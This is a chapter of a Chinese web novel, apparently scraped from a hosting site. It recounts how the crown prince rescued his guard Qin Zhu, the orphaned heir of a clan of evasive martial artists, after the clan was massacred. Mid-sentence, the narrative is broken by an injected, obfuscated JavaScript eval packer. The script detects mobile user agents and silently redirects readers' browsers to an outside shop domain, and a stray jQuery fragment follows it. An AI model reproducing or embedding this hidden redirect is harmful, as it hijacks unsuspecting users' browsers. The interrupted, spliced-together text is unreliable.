文趣网 > 其他小说 > 太子他身娇体软 > 22. 第 22 章
    容君樾落后不过一瞬,便立刻驭马追了上来。你看他胯*下神驹何等非凡,不过片刻,秦朱先行半步的优势便被追平。

    然而,秦朱既敢明目张胆地在太岁头上动土,自然是有所倚仗。

    虽然他打不过太子殿下,虽然他的马跑不过叱拔玄,但他有的是办法让殿下无法近身,自然也就无法从他手里夺人。

    这下,就不得不说到秦朱的来历了。

    作为一国储君,为给容君樾培植亲信,他的皇帝父亲特从他启蒙开始,就从各勋贵世家中,亲自选拔了四名早慧聪颖的子弟,入东宫充作伴当。这四人各司术学财赋、律政刑名、舆图地理、圣儒黄道。可见皇帝为其子谋之深远。

    后又由太子不知从哪里捡来了四个孤儿,与他一同修习武道。多年过去,既有天资,又格外努力,皆是同太子一般,在各自的领域出类拔萃。

    此八子,统称东宫八大卫。

    其中勋贵子弟自不用说,虽入了宫,到底还代表着本家,若有功绩,自是要光宗耀祖的,于是皆用的原来姓名,不曾更改。

    但孤儿就不同了,按宫里规矩,凡入内廷为奴为卫者,皆要抹去来处、改换姓名,从此斩断尘缘,此生只为一人效力。

    可偏偏太子有一副菩萨心肠,这四个孩子既是他自己捡回来的,自然都是得了他眼缘的。

    在他眼里,那都是兄弟,岂有以主仆尊卑一说对待兄弟的道理?

    奈何天家礼法森严,终究不能逾越,太子只能退而求其次,为他们保留了原本的姓氏。

    这其中,唯有一人不同,那就是秦朱。

    秦朱原姓游,乃江南太湖人士。游家一脉在江湖上颇为出名,倒不是因为他家出了什么打遍天下无敌手的绝世大侠,而是其开门先祖的故事颇为有趣,时常还被翻出来为人所津津乐道。

    据说这位游先祖早前只是个江湖上卖艺的戏子,专门在闹市人多的地方讨生活,如此渐渐练就了一身在人群中穿梭自如的本领,后来被一位将军看中,收入麾下做了斥候,专探敌情。

    而他开创的这门叫做“游鱼步”的轻功,顾名思义,像鱼一样滑不留手,像水一样无孔不入。不求内力高深武功高强,只求一个“绕”字。你伸手去抓,他从你肘下溜走;你挥刀去砍,他贴着你刀背滑开。

    游先祖自被收编以来,大大小小立下无数战功,一身功法更是日渐精巧。

    但真正让他一战封神、至今仍在茶馆酒肆里被说书人传唱的一出传奇故事,名为“万军丛中七进七出,一身血衣而闲庭信步”。

    一身血衣何故还能闲庭信步?自是因为这衣上一身血红不仅没有一滴是他的,反而尽是敌方将士砍他不着、反倒劈中自家同袍而溅上的血迹。

    而其上最为浓烈的,当属那一口将军的心头血。

    说是他从敌方阵营窃取了一出密信,将军率众将士追出十余里地,皆抓他不着,最后众人里,只剩一个骑马的将军还能与他纠缠。

    而将军不仅刀刀落空,甚至还当着一众将士的面被大肆戏耍了一番。

    曾有当事人现身说法,说游先祖曾施展两招,一招名为点水一啐,一招名为翻江倒海。

    这两招分别为何物呢?

    是这样的——游先祖见众将士追不动了,便突然停了下来。将军以为他终于累了,当即喜不自胜,赶紧一刀朝前劈下,谁知游先祖不闪不避,竟借着他劈下的砍刀一跃而起,坐到马上面对面冲将军吐了一口唾沫。

    此招名为点水一啐。

    将军怒不可遏,当即转了刀把回旋劈来,说时迟那时快,先祖一脚插进马镫里,整个人翻到马腹下方,待刀砍过,才从另一侧重新翻了上来。这一翻上来,先朝将军脸上又补了一口唾沫,随后又因方才在将军帐中偷吃了太多酒肉,突然“哇”的一声吐了将军满身。

    此招名为翻江倒海。

    而将军那一刀横空劈中了自己大腿,疼的眼珠暴起的同时,口吐三字“你、你、你”后,便再说不出话,一口心血喷出,活活气死了。

    后说书人为了博人眼球、多赚几两赏钱,还将先祖偷出的密函改成了将军昨夜刚换下还未来得及洗的亵裤,或将军夫人贴身穿了三日的肚兜,或是敌国太后的夜壶等种种下三路的腌臜之物,个中荒唐细节自不必言说。

    总之游先祖是彻底出名了,这之后太湖游家便横空出世。

    此后百年,游家人的性格皆一脉相承的别出一格,在江湖中风格很是独特。

    也因此,招惹了不少仇家。

    游家被灭门的那日,秦朱正在家门外和太子殿下打擂。

    太子殿下本是随母亲来太湖养病,闲逛时看见游家擂台,擂台左右两排大字:

    出拳太慢,不如回家吃饭

    沾我衣角,算你祖宗显灵

    他心中本就郁结,乍一抬头看见这嚣张至极的对联,又找人问清楚缘故之后,鄙夷中又不免带些好奇,当下打定了主意,要看看这游家祖传的缩头乌龟身法究竟是怎么一回事。

    于是上台接擂。

    那守擂的游家子弟正百无聊赖地剔着牙,抬眼一瞧,上来的竟是个穿着华服、明显还没长开的小娃娃,也不觉羞恼,哈哈一笑喊来了个十岁上下的烧火小胖子,让他守擂的同时自己回家睡大觉去了。

    这游鱼身法名不虚传,容君樾空有一身力气没处使,久攻而不下,于是问道:“你们这擂台为何没有横批?”

    那小胖子像是等他问这话很久了,两眼射出光芒,这下终于起了虎势要反扑,嘴里喊道:“哈哈哈哈哈!哈哈哈哈哈!”

    “你这呆子,上擂前也不问问清楚,竟问出此等傻话!你可知人什么时候才会打架打着打着停下来聊天?”

    “当然是没招的时候!我们这横批特意空着不写,就是要用人来填!此乃——江郎才尽!!哈哈哈哈!”

    话音未落,两人再次缠斗在一起,这架足足打了小半个时辰也没分出胜负。

    但好就好在容君樾不仅内力是同龄人望尘莫及的深厚,心智也是稳重成熟不少,那小胖子逐渐打得不耐烦了,一直找机会缠他的身子——这游鱼功法只要是让近了身,人就会像蟒蛇绕颈一般将人慢慢缠死。

    小胖子一心急,果然漏了破绽,容君樾顺着他的体重往后倒,一把将人半截身子砸出了擂台。

    如此,一胜。

    此后二胜、三胜、四胜,自然不在话下。

    游家新一代中,十岁上下的孩子很快便输光了。这若是再往上找,年纪体格便明显不合适了。但游家也是不服输的性子,索性又把十岁以下的孩童给叫上了台。

    这一下,就碰到了秦朱。

    秦朱输的方式跟别人很是不同,他见这小公子长得粉雕玉琢,不好意思上人家的身子,也就一直不露破绽。但又因为年纪小体力不支,期间还被

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620717|205224||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    容君樾不轻不重地揍了两拳,到最后竟是边打边哭起了鼻子。

    容君樾要他认输,他哭哭啼啼地不认,看得小小的太子殿下心中一阵发笑。

    他心里难得畅快,这小黑娃的师兄师姐输的再难看,最后多少也要放几句狠话,恶狠狠地让他等着,实在是不怎么讨喜。唯有这孩子算得相当可爱。

    二人在台上不知不觉打到了天黑。

    其实容君樾早能赢了,可偏偏存心逗他,好几次小秦朱没力气了,他还颇为绅士地给了时间让他缓缓。

    这一整个下午,擂台上的两人打得忘我,竟都没发现游家那边再没派人出来。

    直到暮色四合,游家大宅的方向突然涌出一大群人,朝擂台冲来。其中不乏九尺高壮络腮胡,亦有耄耋白须驼背佬,总之聚在一起,可谓奇形怪状。

    “还漏了个游家小子!”其中一人喊道。

    一旁宫人见来者气势汹汹、绝非善类,顾不得三七二十一,立马上前要带太子殿下回宅。

    却见容君樾小手一抬,不紧不慢,这气势一下震住了围观众人。

    他目光扫过对面,问道:“你们找游家小子做什么?”

    “做什么?”对面为首的人咬牙切齿地嘶吼,“自然是斩草除根,灭他满门!这小子好侥幸,逃过那一锅毒折萝,可惜可惜,天要亡你游家!”

    一旁的秦朱一听这话,整个人猛地一僵,他脑中登时一片空白,大喊着“阿爹阿娘”,疯了一般便要冲回家中。

    容君樾扶额,这笨小子上赶着找死做什么?

    他忙叫护卫将人拉住,略一思忖,试图唤醒对方的良知:“游家人外出者甚众,你们寻仇不去找那些在外面的长辈,却揪着一个孩子不放过,未免太失武德。”

    “武德?他游家是最没武德的!”对面冷笑一声,眼中杀机毕露,“我们就站在这儿等着!他们回来一个,我杀一个!”

    眼见这是真杀红了眼,小小的太子殿下咬咬牙,豁了出去:“他还在我的擂台上,我们尚未分出胜负,你们不能杀了他。”

    他不欲暴露身份,况且说了也没用,朝廷对江湖中人向来持的是一种睁一只眼闭一只眼的态度。

    因此江湖事,唯有江湖解决。

    他接着道:“这样,你们也从自家找跟我年岁相当的后辈,咱们打擂。若你们赢了,这游家小子,我双手奉上,再额外附上黄金绸缎十箱,权当赔罪;若你们没人能赢,我还是将钱财留下,但这小子,我就带走了。如何?”

    对面的人上下打量了他一番,冷哼道:“你算什么东西?报上名来!一个毛头小子的话,谁敢信?”

    容君樾连忙将几个下人身上的金银都薅了下来,放到台前,想了想,又把自己的玉佩也解下添了上去。

    “我乃京城宇文家,宇文撼三子宇文文竹!今日若有一句假话,你们大可上京寻我父亲,要他兑现诺言。”

    有了这等信物和筹码,对面的人终于松了口。

    此后整整三日,擂台之上风雨不绝。

    一群人打到后来,皆是心知肚明。他们看着这少年一招一式皆是皇家正统的功法,再瞥见那块玉佩上栩栩如生的盘龙暗纹,哪里还能猜不到对方的身份?

    深知这背后的分量,又确实拿不出能赢过他的晚辈,最终只能咽下这口气,眼睁睁看着容君樾将秦朱安然无恙地领了回去。

    从此秦朱再不姓游。